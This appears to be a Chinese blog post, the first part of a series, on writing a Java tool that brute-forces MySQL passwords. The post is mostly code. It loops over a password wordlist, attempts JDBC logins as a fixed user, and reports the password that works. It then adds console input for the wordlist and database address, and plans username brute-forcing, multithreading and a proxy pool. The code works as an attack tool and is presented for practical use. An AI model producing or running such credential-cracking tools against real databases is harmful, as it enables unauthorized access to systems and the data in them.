记--一个数据库密码爆破工具的成长历程(1)
写一个数据库密码爆破工具
目前完成:
package jsp;
import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class sql {
public static void main(String[] args) throws IOException {
String path = "";
File file = new File("C://a/password.txt");
StringBuilder result = new StringBuilder();
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
String s = null;
while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
result.append(System.lineSeparator() + s);
try {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql:///db1";
String username = "root1";
String password = s;
Connection conn = DriverManager.getConnection(url,username,password);
System.out.println("密码正确");
System.out.println("正确密码是"+s);
} catch (ClassNotFoundException | SQLException e) {
System.out.println("密码错误");
}
}
br.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
上面的代码,完成了下面几件事。
- 首先,先确定了字典的位置,然后使用循环逐行读取字典的内容。
- 利用try--catch来将登陆成功和失败区分
- 最后在登录成功之后,使用输出语句,将密码打印出来。
代码思路分析
想要写一个数据库密码爆破工具,首先在代码里面,我们肯定需要进行数据库的连接,也就是下面的这段代码。
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql:///db1";
String username = "root1"
String password = "password";
Connection conn = DriverManager.getConnection(url,username,password);
学过jdbc的看懂这段代码没啥问题,但是要考虑一点,我们的目的是为了写一个数据库密码的爆破工具,利用burp进行弱口令爆破的时候,我们需要进行的操作是将需要变换的值变成变量。java里面显然是无法这么智能,但是也能让我们理清一条思路,就是我们想要完成数据库密码的爆破,首先,我们需要设置一个循环,让这个获取连接的操作不断进行,利用连接成功和失败的不同反馈来判断连接是否成功。
不断进行同一个操作,我们就需要用到循环。
判断连接是否成功,我们就需要用到if判断。当然,因为我们连接数据库是利用了try--catch来进行的,而数据库的连接会报错,所以我们可以利用try--catch来进行判断,而不需要自己写一个循环。
所以,代码就会变成这个样子。
for (int i = 0; i < 1000; i++) {
try {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql:///db1";
String username = "root1";
String password = "password";
Connection conn = DriverManager.getConnection(url,username,password);
System.out.println("密码正确,登录成功");
} catch (ClassNotFoundException | SQLException e) {
System.out.println("密码错误,登录失败");
}
}
}
达到这一步之后,运行代码可以得到的结果是,虽然目前完成了密码的判断和循环操作,但是首先,我们的循环次数不应该定义成一个固定值,因为假设我们登录成功之后,就不需要继续往下继续循环,而且,字典的长度如果达不到循环定义的最大值,也会出现问题。
而在这一步完成之后,还有一点需要考虑的是,我们不能每运行一次代码,就手动的修改一次密码。这跟我们自己测试账号密码的没有任何区别。
所以下一步我们要做的就是,优化循环次数,将密码从文件中导入到代码里面。
String path = "C://a/password.txt";
File file = new File(path);
StringBuilder result = new StringBuilder();
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
String s = null;
while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
result.append(System.lineSeparator() + s);
try {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql:///db1";
String username = "root1";
String password = s;
Connection conn = DriverManager.getConnection(url,username,password);
System.out.println("密码正确");
System.out.println("正确密码是"+s);
} catch (ClassNotFoundException | SQLException e) {
System.out.println("密码错误");
}
}
br.close();
} catch (Exception e) {
e.printStackTrace();
}
这里,我本来是想利用FileInputStream来完成这一步的,但是我找了一些之前写的文章,发现我并没有办法使用FIleInputStream来完成一个动态读取单行的字符。
所以我在网上找了另外一种方式,经过测试之后发现确实有效,因为这种方法我了解的并不多,只是测试之后发现代码可以使用,所以这里就不多解释。
而目前,所能达到的效果是,通过修改path的值,可以修改每次爆破使用的字典。
循环也可以完成读取到字典的最后一行就截至,不会在字典结束之后依然继续运行。
通过connection对象获取成功和失败的不同表现,也可以在字典中获取到正确的密码。
优化思路
刚才的代码其实也可以发现,想要使用这个工具,必须要有一定的代码功底,这就导致了代码的适用性不是特别强。
比如说字典的位置的定义,数据库位置的定义,用户名不变,单纯的爆破密码。所以,如果这些内容是可以通过用户输入控制的,就能大大增加适用性。
目前想到的优化:
- 使用scanner从控制台读取字典位置和数据库位置
- 在控制台输出密码使用起来还是不太方便,将正确的密码通过字节流写入到一个文档中。
- 密码都写了,不妨吧数据库的地址和账号密码一起写入。
- 目前爆破仅限于密码,所以后面可以设计循环嵌套将账户密码一起爆破。
- 爆破目前使用的是单线程,所以为了后期的实用性,会加上多线程和代理池。
- 代码格式的文件对很多人来说使用还是不够方便,所以图形化界面也是需要进行的。
实施过程
有了优化思路,就要开始实施,因为目前暂时没打算做图形化的页面,所以用户指定字典位置和数据库地址我打算从控制台读取。至于后面改造成图形化之后要怎么使用,另外再说。
- 优化第一步,使用scanner从控制台读取字典位置和数据库位置。
package jsp;
import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;
public class sql {
public static void main(String[] args) throws IOException {
Scanner sc1 = new Scanner(System.in);
System.out.println("请输入爆破字典地址(绝对路径)");
String zdadd = sc1.next();
Scanner sc2 = new Scanner(System.in);
System.out.println("请输入数据库地址(jdbc格式)");
String sqladd = sc2.next();
String path = zdadd;
File file = new File(path);
StringBuilder result = new StringBuilder();
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
String s = null;
while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
result.append(System.lineSeparator() + s);
try {
Class.forName("com.mysql.jdbc.Driver");
String url = sqladd;
String username = "root1";
String password = s;
Connection conn = DriverManager.getConnection(url,username,password);
System.out.println("密码正确");
System.out.println("正确密码是"+s);
} catch (ClassNotFoundException | SQLException e) {
System.out.println("密码错误");
}
}
br.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
在做到这一步优化的时候,我突然想到,jdbc可能也不会每个人都能理解,所以,在格式上,可能会出现问题,并且,之前在学jdbc的时候,有学过吧注册驱动,配置连接这些步骤写入到配置文件中,当需要修改的时候,只需要修改配置文件,读取的数据的时候,则从配置文件中读取。
这个可能在这个地方不太适用,但可能也是后期优化的一个点。